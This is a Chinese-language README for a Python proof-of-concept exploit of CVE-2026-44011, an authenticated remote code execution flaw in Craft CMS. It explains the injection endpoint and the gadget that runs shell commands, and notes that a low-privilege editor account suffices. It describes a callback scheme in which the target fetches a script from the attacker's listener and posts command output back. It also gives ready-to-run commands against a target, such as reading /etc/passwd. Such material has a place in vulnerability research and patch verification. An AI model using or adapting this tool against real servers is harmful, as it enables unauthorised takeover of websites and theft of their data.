
针对 CVE-2026-44011 的 Python 概念验证漏洞利用,该漏洞是通过 Yii 行为注入实现的 Craft CMS 认证后远程代码执行,并具备两阶段命令输出捕获功能。
Craft CMS 中通过 Yii 行为注入实现的已认证 RCE。
受影响版本: 4.0.0–4.17.11, 5.0.0–5.9.17
修复版本: 4.17.12, 5.9.18
安全公告: GHSA-qrgm-p9w5-rrfw
/admin/actions/element-search/search 端点接受一个 condition 参数,该参数会被直接传入 ElementCondition::createCondition(),而不会先调用 Component::cleanseConfig()。这意味着当 FieldLayout 对象根据请求数据构建时,Yii 的特殊对象构造键——__class、as <name>(附加行为)、on <event>(注册处理器)——会生效。
该漏洞利用会附加一个 AttributeTypecastBehavior,将其类型转换回调配置为调用 Psy\Readline\Hoa\ConsoleProcessus::execute()(一个执行 shell 命令的 PSY/Yii 内部方法)。该行为会在 beforeSave 事件上触发,而 Craft 会在同一请求期间触发该事件。
任何账户——即使是低权限编辑者——都可以做到这一点。无需管理员权限。
它并非使用盲反连 shell,而是采用两阶段输出捕获:
curl 命令,从你控制的本地 HTTP 监听器获取一个 shell 脚本你可以直接在终端中获得命令输出,无需 nc 监听器。
requests 库(pip install requests)# 基本用法 —— 在目标上运行 id
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# 自定义控制面板路径
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# 当无法推断时指定你的回调地址
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# 跳过 TLS 验证(自签名证书)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# 跳过版本检查(例如版本检测失败)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
回调主机/端口是目标将输出 POST 回给你的地址。默认情况下,主机会根据你到目标的路由推断,端口由操作系统分配。如果目标位于 NAT 或 VPN 之后,你需要使用 --callback-host 指向你可达的 IP。
-b / --base-url 目标源(必填)
-P / --cp-path 控制面板路径(默认:/admin)
-u / --username 登录名或邮箱(必填)
-p / --password 密码(必填)
-c / --command 要执行的 shell 命令(必填)
-s / --site-id Craft 站点 ID(默认:1)
-e / --element-type 条件所用的元素类型(默认:craft\elements\Category)
-t / --timeout 请求超时时间(秒)(默认:15)
-H / --callback-host 用于输出回调的可达地址
--listen-port 输出监听器端口(默认:由操作系统选择)
--no-verify 跳过 TLS 证书验证
-F / --force 跳过版本范围检查
仅用于授权的安全测试和研究。